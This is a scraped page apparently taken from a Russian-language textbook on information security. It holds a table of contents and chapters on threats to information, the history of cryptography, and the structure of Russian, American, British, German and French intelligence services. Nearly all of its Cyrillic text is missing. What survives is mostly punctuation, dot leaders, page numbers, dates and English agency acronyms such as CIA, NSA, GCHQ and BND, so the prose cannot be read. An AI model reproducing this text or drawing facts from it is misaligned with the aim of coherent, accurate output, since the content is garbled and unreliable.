Вы находитесь на странице: 1из 478

!!! ( ).

, , .
, , .


............................................................................................................................... 9
................................................................................................................................... 11
I. ......................................................... 13
1.
......................................................... 14
2. ............................... 24
3. ............................................ 52
II. .............................................................................. 98
4. ..................................... 99
5. ............................................ 122
6. ................................... 138
7. ............................. 158
8. ............................................................................ 162
9. ....................................................................... 166
10. ........................................................................................................... 170
III.
.................................. 176
11. ....................................... 177
12.
....................................................................................................... 199
13. ... ................................. 217
14. .................................................... 231
IV. ......................................................................................... 257
15.
....................................................................... 258
16. ...................................... 268
17. ............................................................................. 316
18. .................................................................................. 336
19. .................................................................................................. 429
20. ....................................................................................................... 444
............................................................................................................................. 475

!!! ( ).
, , .
, , .

............................................................................................................................................................................. 9
...................................................................................................................................................................................11
I. ...............................................................................13
1.
...............................................................................14
2. ..........................................24
3. ............................................................52
..........................................................................................................................................................52
...............................................................................................................................................................................53
.................................................................................................................................................................57

..................................................................................................................................................................60
(CIA)...............................................................................................................................................................................63
(DIA)...........................................................................................................................................................................66
(NSA) .............................................................................................................................................................................69
(NRO)........................................................................................................................................................................75
(NIMA) ........................................................................................................................................................................76
(INR) ...............................................................................................................................................................................77
(FBI) ...............................................................................................................................................................................77

.............................................................................................................................................................79
....................................................................................................................................................................................80
........................................................................................................................................................................................81
..................................................................................................................................................................................81

..............................................................................................................................................82
(DIS) ..............................................................................................................................................................................86
MI5 (Security Service) ............................................................................................................................................................87
MI6 (SIS).................................................................................................................................................................................88
(GCHQ)..........................................................................................................................................................................89

....................................................................................................................................................................90
(BND) .............................................................................................................................................................................91
(BfF)...............................................................................................................................................................................92
(MAD)...........................................................................................................................................................................93

............................................................................................................................................................93
(DGSE).........................................................................................................................................................................95
(DRM)............................................................................................................................................................................96

XXI ...............................................................................................................96

II. ............................................................................................................98
4. ...................................................99

3
. , ............................................99
.........................................................................................................................................................104
.............................................................................................................................................................106
......................................................................................................................108
..............................................................................................................................................110
............................................................................................................................................111
......................................................................................................................................................113

5. .............................................................122
...........................................................................................................122
......................................................................................................................................123
.....................................................................................127
................................................................132
......................................................134

6. ................................................138
.................................................................................................................................................................145
.........................................................145
.........................................................................145
,
220 ......................................................................................146
.......................................................................................................................................................................146
...................................................................................................................................................146
............................................................................................................................................................146

...........................................................................................................................................................147
, ............................................................147
..........................................................................................................................................147
.......................................................................................................................................................................150
......................................................................................................................................................150
()........................................................................................................150

.............................................................................................................................................151
..............................................................................................................151
................................................................................................................153
..........................................................................................................................................153
.........................................................155
..................................................................................................................156
.........................................................................................................157

7. ........................................158
...............................................................................................................................................158
.............................................................................................................................................158
........................................................................................................................................158
...............................................................................................................................159
..........................................................................................................................159
..................................................................................................159

4
.......................................................................................................................160

8. ..........................................................................................................162
9. ...................................................................................................166
..................................................................................168

10. ..................................................................................................................................................170
............................................................................................................................170
....................................................................................................................................172

III.
...................................................... 176
11. ......................................................177
...................................................................177
..............................................................................................179
.........................................................................................................180
...........................................................182
............................................................................................................183
...................................................................................................................184
()..................................................................................................185
....................................................................................................................................................185
......................................................................................................................................................187
..................................................................................................................................................188
.........................................................................................................................................189

..........................................................................................................................................................189
................................................................................................................................................192
................................................................................................................................192
....................................................................................................................................193

....................................................................................................................................193
....................................................................................................................................................................196
.....................................................................................................................................................................196
.......................................................................................................................................................196

12.
..............................................................................................................................................199
.....................................................................................................................................................200
..........................................................................................................................201
......................................................................................................................................................................205
.......................................................................................................206

......................................................................................................................................209
.............................................................................................212
.......................................................................................................................212
...............................................................................................................................213
.......................................................................213

5
...........................................................................................................................214

13. ... ...............................................217


......................................................................................................................................................................218
.................................................................................................................................................................221
................................................................................................................................................................225
................................................................................................................................................................226
.......................................................................................................................................................................227
................................................................................................................................228
..............................................................................................................................................................228
....................................................................................................................................................229
.................................................................................................................................229
..................................................................................................................................................................229
...................................................................................................................................................230
.......................................................................................................................................................................230

14. ........................................................................231
.....................................................................................................................................................................................231
.....................................................................................................234
............................................................................................................238

..................................................................................................................240
..............................................................................................................................243
............................................................................................................245
...............................................................................................................................246
..................................................................................................................................................247
.............................................................................................................................................247
......................................................................................................................251
...........................................................................................................253

IV. ...........................................................................................................................257
15.
...................................................................................................258
.................................................................................................................259
.............................................................................................................................263
..........................................................................................................................................................263
..............................................................................................................265
.............................................................................................................................266

16. ....................................................268
................................................................................................................268
................................................................................................269
.........................................................................................................................................271
...........................................................................................................................273

...........................................................................................276
..............................................................................................................................................................278
..............................................................................................................282

6
............................................................................................................................................................282
.....................................................................................283
.................................................................................................................................285
, ...............................................................................291

................................................................................................................................................295
...............................................................................................................309
.....................................................................................................................................309
............................................................................................................311

17. .........................................................................................................316
.......................................................................317
.................................................................................................................319
.............................................................................................................................................321
........................................................................................................................................323
...................................................................................................................................325
..............................................................................................................................325
.........................................................................................................................326
...............................................................................................327
........................................................................................................328

...........................................................................................................................................331
.......................................................................................................................................................332

..........................................................................................................................333
..........................................................................................................................................................334

18. ...............................................................................................................336
................................................................................................................................................................336
...................................................................................................................................................................338
.................................................................................................................340
................................................................................342

........................................................................................................................................344
..............................................................................................346
............................................................................................................................................348
......................................................................................................................350

..........................................................................................................................................353
........................................................................................................................................................353
.................................................................................................................................................354

..........................................................................................................................355
.......................................................................................................358
()..................................................................................................................359
................................................................................................................................361
............................................................................................................................361
.........................................................................................................361
......................................................................................................362
.............................................................................................362

7
...............................................................................................................................363
..........................................................................................................................364
........................................................................................................................................................................365
.....................................................................................................................................366

................................................................................................................................................................369
RSA .....................................................................................................................................370
.................................................................................................371
RSA .....................................................................................................................................................................372
() RSA................................................................................393

DES ..................................................................................................................................394
....................................................................................................................................394
..............................................................................................................................395
S-.............................................................................................................................................397
DES .......................................................................................422

28147-89 ................................................................422

19. .....................................................................................................................................429
............................................................................................................................................432
...............................................................................................................................................438
..........................................................................................................................441

20. ............................................................................................................................................444
................................................................................................................446
...............................................................................................................................................448
................................................................................................................................................449
..................................................................................................................................449
...................................................................................................................................450
..................................................................................................................................................451

...........................................................................................................451
.....................................................................................................................................................454
........................................................................................................455
.....................................................................................................................................................458
.......................................................................................................................................................458
......................................................................................................................................459

.......................................................................................................................462
....................................................................................................................................................................462
.....................................................................................................465
..................................................................................................................................................466
......................................................................................................................................................468
..............................................................................................................................................................469
..........................................................................................................................................................470

.........................................................................................................................471
....................................................................................471
..............................................................................................................................................473

8
............................................................................................................................................................................475


.
,
.

, . - ,
:
, , ;

.
, .
. ,
.
, .


. , , , , , .
.
, ,
,
.

.
, , .
.
, , , . , ,

10
,
.
..


,
,


, , :
();
; , , ;
.
, . , .
,
, , .
, . . , ,
, , , () ..
,
, , , , , , , , .
, , .
, , .
, ,
, .
,
.
, 19992003

.

12
, , ,
.
, .
,
.
, ,
, .

, : mszi@junior.com.ua.

() , ,
. .
, , , , , .. .
, ,
, ,
, , . , ().
, ,
,
. , ? , , .
.
. ,
- ,
, .. .
, ,

.
?
, ,
. .

15

, . - - .
, , -,
, -, , -,
, .

, , .
- ,
. , ,
, . , , .
, . , , ,
. -, ,
, -, , . , ,
,
, .
, ,
,
( ).
( ), , , ..
.
(, , ) , .

-, .
,
.
: (); - ; , ; ; (, , World Wide Web) .

16 1.

, , :
; ; ; ;
, , , .
: () ; , ; , ;
; ; ;
() ,
.
:

;
, ;
;
;
, , (, ).
, . , ,
, , , ,
. ,
, , ,
.
,

.
, . , , ,
,
, .. .
, .
.
, .
.

. , . -

17

, ,
. .

, . ( , ..), .
, .
(.. , ),
, .. , . , , , .
XXI .
,
,
.
, () . XX . - . 8 1904
-.
. , , , . . -.
, ,
.
, .
,
. ,
. , ,
. .
,
.
,
.

18 1.

. ,
. .
, .

.
, , . -,
. -,
. -,
; , ,
. , 11 2001 , , , , . , , , .
, , XXI
.
, ( ) . , , , , , .
, ,
. ,
20% .
, .
, .
, , , , , ..
, .
, ,
.
, , -

19

, , ..
, , ,
, , ,
.
. ,
, . , , , .
,
. , , , , .
.
, ,
, .
,
.
, . , . ,
, , , , . ,
, . ,
: , - .
.
, 100 , .
, , , , . (. 1.1).

20 1.

. 1.1.

:
;
.

: ,
, , , , .
:

;
;
- (, ), , ,
;
;
-
,
, World Wide Web;
, ;

21

- , , Internet ..

,
80% , , , ,
, , , , .
,

.
, . () , . () , ,
.

(. 1.2).
, , :

22 1.

. 1.2.

(, , , , );
(, , );
(, ) ;
, , .

, , , , , :
( );
- ( ,
);
( );
( , );
( );
;

23


, :
;
;
();
;
;
;
;
;
.
,
,
. , , , , ,
:
, ;
, ( );
, ,
.
. , , , ,
, ,

. , . ,
,
, .
, , , , ,
,
. ,
,
.



. ,
. , , XX ,

XXI . , .

.
, XVIII ..,
. , . - ,
, . , , ,
, ,
.
, , , ,
. (42:9), , , , - , - . ? . , , . , ,
, , , . . -
. ,
, XVII ..
, , .
.
13 : , : -

25

, , ;
, (. 13:231).
12 , ,
, (. 13:1921).
40
, : 10 12
. , , ,
, ,
, , . , ,
, , . : 40 (
, , ) , , .

. , , : , , , ,
(. 13:29). , ! , , , , , ,
: [ ] ? (. 13:20). :
(
) , (. 1:3)
(. 1:46).
! ,
, ,
, , ,
, ,
, !
, ,
. -, . -, ,
, , ,
.. , , . , (. 2:1). ,
, , , , .

26

2.

, , ,
. ,
,
: , , ,
.
,
, . , , .
, , , .
, . , , , . ,
,
, ,
, .
, . , ,
, . ,
, , ,
. . , - . , . , . , , . ,
, - .
, , . , ,
, , . ,
, , ,
, , , . ,
, ,
.
, . , -

27

,
: , , ,
; , [] , ,
, , ;
, , [ ]
; (.2 2:9
11). , , , , . , ,
, , ( ,
, ..
, ), , , .
, ,
, , , ,
.

, .
. , - :
: [ ] (. 5:16).
: .
. -,
, (.3 1:5). , ,
( 2:1). ,
, , ,
, .
, .
.
, ,
: , , ,

2
3

28

2.

; , , .

. . , I
.. , , , .
, , . ,
. , -
.
. .
, .
, .
- (486465 ..) .
.
: , , ,

.
. :
, , , , , , , .
, .
, . ,
, , . ,
, : , ,
. . , , .
, , ,
, . ,
,
.
.
, , .

29

- , . , , , ,
, . , , .
, ,
, , ,
.
,
, . , ,
, ,
.
. .
,
, , , . . ,
. ,
, .
(56 ..) ,
, .
, ,
. , , .
. ,
.
, - . , , . , .

, , .

30

2.

.
,
.
, . ,
, , ,
. ,
VI .., : ,
, .
, ,
, :
: ,
, , , .

; ;
. , , . . , .
, ,
, , .
, .
,
. ,
.
, , , ..
, . , , . ,
-
. , ,
, , , , .
.
, : , . .
. .
:

31

, ; , ; ,
.
, , , . , , . , , . , .
, , ,
. ,
, . , , .
, . .
, , . ,
, -. : . ! , , , , .
, , ,
. , - ,
,
, , , .
, , .
. , ,
.
, , . , , . , , .
, , ; .
.
: . ?
, . , , , , .
.
,
. , . ,

32

2.

, ,
. , , .
, , 20- ,
40- , -.
358- .. ,
. -, , , .
, XI , , ,
, , , , , , ... . : , ..
, , , , .. XII
.., ,
. ,
,
. . , , , .
, ,
, I. ( :
) , , , . 1573
, , , , , . . ,
, .

, II (1689 ). 1703 . - . ,
, .
: , ,

33

,
. XVIII
,
.
XIX , , . , , , .
XIX .
, , .
.
, ,
.
. .
, , , .
1882 ,
,
.

, ,
1565 . 1572 1697
. , 1662 , , ,
. ,
, . , .
1697 I ,
. , ,
. ,
. .
.
.
, . .

34

2.

,

. 1747 ,
.
II .
.
, , .
XIX ,
, , .
,
. , ,
19051907 .

. , ,

.
:
. , , ,
, , , ,
.
, ,
,
, .
. , , .
,

, .
12 1650
, ,
, , .
, , .

35

, , , , , , , , , .
,
.
, , , ,
. , , 8 1648 , , IV.
,
. -, ,
.
, , . , , , .
, 1650 .
, , , .
, .
, . , ,
,
, ,
. .
1650 . .
. .
, .
,
. . ,
,
.

36

2.

, , 1657
,
,
, .
. , ,
, .
1653 , , , , ,
,
, .
. .

, ,
, . , , , .
, . , ,
, , .. . .
, II
. , ,
, ,
, , -
.

,
, .
, .
,
. . 1914
. , -

37

, , -
.
,
.
1914 .
25 . ,
, ,
. .
1914
1916 .
, ,
19151916 .
. , , .

.
,
. 2628 1914 110 .
. , .
, , . , . 90
, 30 .
.
1914 . 1914 .

.
.
.
.
20- , -

38

2.

1917 . 5 1921 . 25
1921 ,
, ,
, , .
. , .
- , , . ,
. , .
20-
.
30- 4- .
30-
. 4- , , ,
.

. .
, ,
-, .
30-
.
.
1936 ,
. ,
.
.
200 , 1,5
10 .

39


,
.
, , , .
, .

.
, .
, ,
, , ,
, . .

,
, ,
, .
. , ,

.
(1895
1944). 20- ,
. 19241927 . 1927
, 1928 , 1929 , 1930 .
1933 1944
.
,
, - . .
1941 ,
. ,
,

- .
1940 , . , -

40

2.

, . (90%)
.
100 150 , 12 . , ,
. , , ,
, , . .
1943 . . , , ,
. , , ,
. 1941 , 50 , .
17 1943 , ,
. , -
.
26 , . . ,
, .
1943
. , . 1942
(). , , ,
. ,
18 20 4 .
. .
, -

41

, . 1972 .
, -
, , . (-5) 1936 ,

1939 . .

, , . , -5 ,
.
, ,
, .
1940 ,
,
. -5
120 , 16.
,
, ,
.
. 1945
.
,
.
(),
.
, , . ,
, , .
, , , .
, , , .
, . , ,
. ( ,
) . (
) .

42

2.

25 26
1941 . , , , . , ,
.
, , .
, , . , , , ,
, , . -
? . , , . . , , ,
. :
.
- .
, : , , .
. , . , . .
12 13 1941 .
.
.
, . : , . ( )
.
30 1942 ,
. , , . , ,
.
14 1942 10 1941
, : .

43

. -, . 85 100 . 24 1942 .
.
, ,
() , , . ( ) .

, .
. , , 22 1941
. ,
.
, ,
. , , , - .
, ,
. 1943 , , - ,
. ,
.
, ,
, . ,
,
. , ,
, , , , . , , ,
, , .
.
, .
1- . , . , . .

44

2.

, , : , ,
. , .
1943 , .
, .
, . .
, ,
, , . . , , , .
, , , ,
, .
, 1945 , , ,

, .
,
. ,
: , , , .
, , , . ,
.
, : , ,
, , , ,
, .
1945
.
, 50- . , , . ,
. ,
.
, .
,
. : , , .

45

, . 10 1960

.


70- . , . , ,
, , , .
,
.
() , .
.
,
. , ,
.
1981 , ,
, . , , , , .
, 1982 , . , ,
.
1975
.
(). , , . , .
, . ,
, , .

. ,

46

2.

, , , , , . ? , - .
- -, . ,
,
. , 70-
. ,

.
- . . , 7 Cray, ,
. . ,
,
.
,
- -, . , .
, . ,
.
70-
,
. ,
, .
, 1975
, -,
. ,
, , , .

47

. ,
, . , , . , , ,
, . . , - ,
- ,
.
.
- , - . . , , . , , ,
,
. , . ( )
,
.
, .
.
, ,
. ,
. , , . , , .
,
.
. 1976 1978
() 20
. 1978 1979 16 , , .
, , .
.
.
,

48

2.

, .
.
70- . , ,
. ,
. , , .
, . . , ,
.
1977 .
, ,
, . ,
, 70- . . 1981
. , , , -, , .
80- , .

, .
70- 80-
,
, .
, 1975 , .
-
.
11 1983
.
, .
. , 1978 11 1983 -

49

, ,
.
. , , . . ,
. .
-, , ,
. , , , .
-, ,
. .
70- , .

. .

,
.
, . , ,
, . ,
.

. , ,
. ,
, ,
, . , .
.

50

2.

, . , .
, , .
. , .
. , , , , .

, . : , , : ,
, - !
, .
, 90% , ,
.
, , , , 95%, .
,
, , - ,
( ),
. .
, 30 . : 90% .
, .
,
. , , , ,
, , , .
, .
, , .
II (1712-1786) .
: , . , . ,

51

, , ;
. , .
. ,
, , , , ,
, , , , , -
: , ,
.
XXI . , , 2500 ,
: , , .
. , , . , , .
XXI , -
,
, , ,
.
,
, . ,
, .
, , , ,
. XXI , ,
, .

. ,
,
, ,
.



, , , , .
,
XX , . , , .


. ,
,
XXI .


, , , () ().
, ,
,
. , , .

. , , ,
. , , .

53


, 1954 1991
. . 3 1991 .
, , ,
, ,
.

, . 3.1.
:
1- , ;
2- , , , ;
();
8- , , ;
, :
3- ;
4- ;
5- , ;
6- ;
7- ;
15- ;
16- ;
.
60- 4-, 5- 6- 2- , 1969 .
. 3- ,
, (
). . , .

54

3.

. 3.1.
8- , ;
1969 16- , ,
, ,
,
, .
1- , ,
,
( , ). 1- . 3.2.

55

. 3.2. 1-
1- .
1. , .
.
, , , , .
, , .
, , , , , , , , , .
, , , , .
, , , , , .
, , , , .
.
.
.
.
.
, -, , , , .
, .
.
.

56

3.

1- 8-
, , .
16- () .
(). ( ,
.)
, (, ,
). Internet Web- http://www.fsb.ru. 1-
, () . , , ,
.
,
90- .
, , .
, , . ,

, ( , , ..). ,

, .
: , -.
:
; , ; , ;

.
:
; -
, ,
; .
- .
-

57

, ,
.

. (. 3.3) , (, , ).
.

. 3.3. , 1-


( ). , - . ,
- , ,

58

3.

, , .
,
(. 3.4). , ,
. , ,
. . , (), ().

.
5- , , . 5- . 2- 5- , .
6- . .
1- ().
.
.
2- ( ). , 1- . , -,
, .
3- ( ). , , , .

59

. 3.4.
4- (). ,
6- . .
( , ..)
9- . , . .

60

3.
10- . ,
.



, (Intelligence Community). () - 1947
(NSA National Security
Act), , -
1992 (.. )
(IOA Intelligence Organization Act). IOA, : , 8
(85% ) 5 .
.
DIA (Defense Intelligence Agency)
().
NSA (National Security Agency) ().
NRO (National Reconnaissance Office) ().
NIMA (National Imagery and Mapping Agency)
().
Army MI (Military Intelligence) .
Air Force ISR (Intelligence, Surveillance, and Reconnaissance) , .
Naval Intelligence .
Marine Corps Intelligence .
, :
CIA (Central Intelligence Agency)
().
INR (Bureau of Intelligence and Research) () (State Department).
OIS (Office of Intelligence Support)
() (Department of Treasure).
IN (Office of Intelligence) ()
(Energy Department).
FBI (Federal Bureau of Investigation) () (Justice Department).
Coast Guard Intelligence Element (Coast Guard) (Department of Transportation).

61

, 5
: , , , . 9 , , , . , , ,
()
.
(DCI Director of Central
Intelligence), (Intelligence
Community Staff). ,
.
National Security Council (NSC) ().
: , -, ,
, ( ) ( )
( ).
. ,
.
Presidents Foreign Intelligence Advisory Board (PFIAB) ().
, , , , .
,
,
. , .
Intelligence Oversight Board (IOB) (). , , . . (, , )
.
() (DDCI/CM Deputy Director of Central Intelligence for Community Management). DDCI/CM
(Intelligence Authorization Act), 1997 . DDCI/CM :
(ADCI/C Assistant DCI for Collection). (NICB National Intelligence
Collection Board), , -

62

3.
NFIP,
.
(ADCI/AP Assistant DCI for Analysis
and Production). (NIAPB
National Intelligence Analysis and Production Board). NICB,
NIAPB ,
NFIP, .
(SAE Senior Acquisition Executive). ,
. (ICAC Intelligence Community Acquisition Council).
(ExDir/ICA Executive Director for Intelligence Community Affairs). (CMS Community Management Staff) ,
ADCI/C, ADCI/AP SAE
.
:
;

;
,
;
, .

, , . 3.5.

63

. 3.5.

(CIA)
.
1947 , ,
. ,
. , ,

64

3.

, , .
90- , . 3.6.

. 3.6. 90-
NSA, . , , ,

65

. ,
100 . -, , ,
. -,
,
.
- 1995 , : , ,
, ( ).
. , 90- , , , , ,
. , .
,
. ,
, , . 11 2001 , , , , .
,
.
(DI Directorate of Intelligence)
, , .
, .
90- ,
( ).
,
.
DI .
,
(Office of Asian Pacific, Latin American, and African Analysis).
(Office of Near Eastern and
South Asian Analysis).
(Office of Russian and European Analysis).

66

3.
(Office of Transnational Issues).
(Office of Policy Support).
(Collection Requirements
and Evaluation Staff).
(DCI Counterterrorism Center/Office of Terrorism Analysis).
(DCI Crime and Narcotics
Center).
, (DCI Center for Weapons Intelligence, Nonproliferation, and Arms
Control).
(Counterintelligence Center/Analysis
Group).
(Information Operation Center/Analysis Group).

(DO Directorate of Operations)


, . ,
,
. 1992

(ADDO/MA Associate Deputy Director for Operations for Military Affairs).
( ). , .
.
- (DS&T Directorate on Science & Technology) ,
, ,
, .. DS&T
. DS&T , .
(DA Directorate of Administration)
.
, , , ; .

(DIA)

67

,
. 7000 ,
, , . , ,
. ,
.
, () .
, (MIB Military Intelligence Board), , , :
, (DASD(I)
Deputy Assistant Secretary of Defense for Intelligence).
.
.
(Executive Secretariat).
(Program Management Directorate). (MIB). , , , , , .
(General Counsel).
(Inspector General).
(General Enlisted
Advisor).
, (Plans, Programs & Operations).
.
(Intelligence Operations).
(DO Directorate for Intelligence Operations).
, (HUMINT) . , , ,
, . ,
, , , , , .
(Defense HUMINT
Service), (Defense Attache
System).
(CMO Central MASINT Organization). , , , , -

68

3.
, . ,
, (smart weapon). , ,
. ,
, , , .
.
(Analysis).
(DI Directorate for Analysis and Production). . DI
, , , ,
, .
, , -, .
(J2 Directorate for Intelligence, Joint Staff). J2 , ,
.
,
. , J2 ,
. J2 (NMJIC National
Military Joint Intelligence Center).
, ,
, .
J2 , (DIN Defense Intelligence Network),

.
(Directorate for Policy Support).
,
. -

69

, .
(Support Services).
(Directorate for Administration). (Counterintelligence and Security), (Office for Human Resource),
(Office of Engineering and Logistic) - (Office for Procurement). , (JMITC Joint Military Intelligence Training Center), ,
, , ( Internet).
(Directorate for Information Systems and Services).
. ,
. , . (JWICS Joint
Worldwide Intelligence Communication System), . ,
, (JIVA Joint Intelligence Virtual Architecture), ,
.
(JMIC Joint Military Intelligence
College). (Bachelor of Science in Intelligence)
(Master of Science in Strategic Intelligence).

(NSA)
. , ,
. , , , ,
, . , ,
, .
.
, -

70

3.

, , , . , , ,
, .
(CSS Central Security Service)
. :
, .

.
,
.
( , -), , , .
, , ,
, .

, .
.
(INSCOM Army Intelligence & Security Command). : (US Army Foreign Intelligence Command),
(US Army Special Security Group), 66-
RSOC (66th Army Intelligence Group European
Command RSOC), 513-
RSOC (513th Military Intelligence Brigade Central Command RSOC), 704- (704th Military Intelligence Brigade) 902- (902nd Military Intelligence Group).
(Naval Security Group Command). ,
. , . -, . , .
(Air Intelligence Agency). :
696- (Special Activities Center 696th Intelligence Group), (AF Information Warfare Center), (Intelligence System Group), 67- (67th Intelligence Wing) 694- (694th Intelligence
Group).
, ,
. ,
, (. 3.7).
(Operations Directorate) . , ,

71

.
, .
A. ,
.
B. , , , , .
G. , , A B.
(Technology and Systems Directorate)
. R - . , , - , .
. , . -
, . -
- , .

72

3.

. 3.7.
(Information Systems Security
Directorate) .
K. ,

.
T. . , , ,
, , .
I. . , , , .

73

S. . , , , . ,
, . , . , .
, .
V. . , ,
.
Y. .
C. . , ,
,
. , ,
.
X. .
.

, (Plans, Policy and Programs Directorate) , ,


.
D. . , , , . ,
, .
Q. .
, , , , , .
/, ,
- , ,
, , .
J. .
.
N. .
,
. ,

74

3.
,
.
U. . , ,
, , , ,
.

(Support Services Directorate) .


E. . , .
M. .
, , ; ; ; ; ; ; , ;
; , .
L. .
, .
. ( ).
:
, , ,
; , , ( )
.
, - , . -
, ,
: , ;
; , ;
. , . .
.
,
, . 1990 , , , -

75

( ).
, -, 2000
.
,
.
10 , 5 .

(NRO)
, - .
- U-2.
, .
: ; ; , ;
. , . ,
.
,
(, , ). , .
, .
.
(SIGINT Systems Acquisition & Operations
Directorate).
(Communications Systems Acquisition & Operations Directorate).
(IMINT Systems Acquisition & Operations Directorate).
(Advanced Systems & Technology Directorate).
(Management Services and Operations).
.
.
.

76

3.

.
.
.
.
.


1992 . 1995 CORONA (19601972 ., ), 800000 , , (NARA National Archives and Records Administration).

(NIMA)
, . 1996
(National Imagery and Mapping Agency Act).
,
.
,
,
.
.
(Analysis & Production Directorate). ,
, .
- (Acquisition Directorate). , , -
. ,
, - . , ;
; ; , , , .
(InnoVision Directorate).
, , ,
, , ,
.

77

(INR)
, .
, , . . ,
,
. ,
, ,
,
.
19- . , 19 .
300 , 75% , 25% .
,
, , .
(NCPB National
Counterintelligence Policy Board) ,
.

. , , , , ,
.

(FBI)
,
, . , ,
.
, , , .
.
, ,
. . ,

78

3.

.
(
, ).
(, ,
, , , ).
. -,
.
. -,
, , .
, (
,
).
11 2001 ,
.
, . 3.8 (
).
(Executive Assistant Director) . ,
, .
, , . (Cybercrime Division) ,
, , . (Security Division) , , .
: (Law Enforcement Coordination),
; (Chief Technology Officer),
;
(Office of Records Management), , ; (Intelligence
Office), , , .

79

. 3.8. 2001



( ).
. ( - - - ), - .
( - -) -.

80

3.

( -) . . , ( -
), ( ), ( ), . .

, - .
, . , ,
( - ), - .
, , , , .

:
, .
,
.
. ,
, ,
. , , .
, , .
.
, ,
. (, ..)

, .
(). , , , .
( ). ,
.
. , , ,

81

. 15- , , , ,
, , , (, ), , , , , ,
. .
. ,
.


, , .
, , ,
. . ,
, .
.
, ,
, . .



, . ,
.
, . .
. , , ,
. ,
, , - (.. ), . ,
.
. , , ,
.
,

82

3.
, ,
.
. ,
, - ,

.


(Central Intelligence Machinery),
,
, , (. 3.9). 1994 (Intelligence Services Act),
SIS (Secret Intelligence Service) GCHQ (Government Communications Headquarters).
,
.

, . -
(Secretary of the
Cabinet). (Security Service) (Home Secretary), SIS GCHQ (Foreign & Commonwealth Secretary). (Secretary of State for Defence) DIS, (. 3.10).

83

. 3.9.
(PSIS Permanent Secretaries Committee
on the Intelligent Services). , PSIS,
, .
PSIS (Secretary of Cabinet), (Permanent Under Secretary) (Foreign & Commonwealth Office), (Ministry of Defence), (Home Office) (Treasury).
PSIS , (Preliminary Committee),
.
, , ,
, (Security Service Act, 1989, 1996).
(SO Cabinet Official Committee on Security), (SO SSPP Sub-Committee
on Security Service Priorities and Performance). , ,
(Department of Trade & Industry), ,
(Department of Social Security),

84

3.

(Scottish Office), (North Ireland Office),


GCHQ, , SIS, (Office of Public Services) (Cabinet Office).
, .

. 3.10.
(JIC Joint Intelligence Committee) GCHQ SIS, ( GCHQ SIS
).
JIC .
PSIS ,
, ,
.
,
, ,
.
, , .

85

,
.
,
, , ,
, ,
.

.
, .

JIC , , . JIC, .
, . JIC
,
.
, , , .
, .
(DIS Defence Intelligence Staff). DIS

. DIS
, .
, .
(SIS Secret Intelligence Service, MI6). , .
(GCHQ Government Communications Headquarters). , .
, .
(Security Service, MI5). , , .

86

3.

(NCIS National Criminal


Intelligence Service). ,
.
(-) (Metropolitan Police, Scotland Yard). , , , (Directorate of Intelligence),
, , .

MI5 MI6 . ,
(MI Military Intelligence). , ,
.
,
- MI5 MI6.

(DIS)
DIS , (,
). DIS (CDI Chief
of Defence Intelligence). - .
(Chief of the Defence Staff) (Permanent Secretary of MOD).
, ,
. , DIS
. JIC.
DIS
(DIAS Defence Intelligence Analysis Staff) (IGRS Intelligence and Geographic Resource Staff). ,
, , , CDI.
DIAS
(DCDI Deputy Chief of Defence Intelligence). . , GCHQ, SIS, , . , .
IGRS - , (DGIGR Director General Intelligence and Geographic Resources). IGRS -

87

, (DISC Defence
Intelligence and Security Center) (DGIIA
Defence Geographic and Imagery Intelligence Agency).

MI5 (Security Service)


( ) (
), (Home Office).
(Director General).
.
(. 3.11) , , . , , (Management Board), .
, -. MI5 . ,
( ,
, ).
SIS . , ,
.

88

3.

. 3.11. (MI5)

MI6 (SIS)
SIS .
(Secret Service Bureau), SIS,
(Mansfield Cumming). , C. SIS , C
SIS.
SIS ( ), SIS
- . SIS
.
SIS .
.
,
.
, , .
. , .

89

. , SIS.
. .
. SIS, .

, SIS ,
.
SIS , , , . , SIS , .

(GCHQ)
GCHQ , , . GCHQ, SIS,
, -.
,
, (, , ,
, , . ).
(CSO Complex Signal Organization). , ,
, . GCHQ.
GCHQ
(CESG Communication Electronics Security Group). , . CESG
, ,
.
(MI5, MI6 GCHQ), CESG , . ,

.
GCHQ (

). GCHQ . , 129 , . 2003 -

90

3.

, .
GCHQ, SIS, , NSA,
GCHQ. , GCHQ NSA ,
(
).


, ,
, .
, .
(BND Bundesnachrichtendienstes). , .
.
, .
(BfV Bundesamt for Verfassungsschutz). , . .
(LfV Landesamt for Verfassungsschutz).
, ,
. , , , . , ,
.
(BSI
Bundesamt for Sicherheit in der Informationstechnik). ,
,
,
, .
, .
(ANBw Amt for Nachrichten-wesen
der Bundeswehr). ,
.

91

(AFMBw Amt for Fern-meldwesen


Bundeswehr). .
(MAD Militrischer Abschirmdienst). . , , .
.

, ,
,
.

(BND)
. , , .
, - . .
1 (Operative Aufklrung).
(HUMINT).
2 (Technische Beschaffung). (SIGINT), .
3 (Auswertung). ,
1, 2 5 , ,
.
4 (Steuerung und zentrale Dienstleistung).
,
, , .
5
(Operative Aufklrung/Auswertung Organisierte Kriminalitt-Internationaler Terrorismus). , ,
, , .
,
.
6 (Technische Untersttzung).
.
. ,

92

3.
, .
7 (Schule des BND). .
8 (Sicherheit, Geheimschutz
und Spionageabwehr). , .

. - , 1945 . ,

, , , ,
. , , , ,
, ,
(, -, ) .
, (),
. ,
, , , , . , , ,
.
, ,
, (, ,
), , .
, ,
, , , .
. ,
,
, , .

(BfF)
MI5, (, , ..).
, , , -

93

, , , , , , , .
. , ,
.
, , .
, - .
. , 2500
.
I ,
, .
II .
III .
IV .
V
, .
VI ,
.
VII .

(MAD)
. 5 (, , , , ), S ( , ..) 6
, (, , , , , ), 40 .
, ,
, .
, . , ,
, , ,
.

94

3.

, , ,
-, . , . , ,
, , , . ,
,
.
.

(Secretariat General de la Defense National).
(DGSE Direction Generale de la
Securite Exterieure). , ,
.
44- , .
( , ) . .
(DRM Direction du Renseignement Militare). , 1992 ,
. .
.
(DPSD Direction de la Protection et
de la Securite de la Defense). ,

. (SM Securite Militare).
(BRGE Brigade de Renseignement
et de Guerre Electronique). 1993 .
,
. DRM.
(SCSSI Service
central de la scurit des systmes d'informations). .
.

95

(DCRG Direction Centrale Renseignement Generaux). , ( ).


(DGT Direction de la Surveillance du Territoire). , , .
.
, , ,
, ..

(DGSE)
, ,
; ; . 4500 . , , .
. 5 .

,
.
. .
,
, . .
. , . -
, , , .
.
,
, .
. ,
(CPES, CIPS CPEOM).
- ,
, .

96

3.

(DRM)
, ,
.
,
. , 2000 90%
, , , ,
.
,
, .
5 .

. , BRGE.
, .
, , .
.
- , .

(DGGN), (DPSD),
(DGA).

XXI
,
, , , XX ,
XXI , .
, ( , ..), .
, 11 2001 ,
. . ,

XXI

97

, ,
.
, ,
, Internet
. , ,
. , ,
, .
, .
, XXI ,
,
; ,
, ,
.

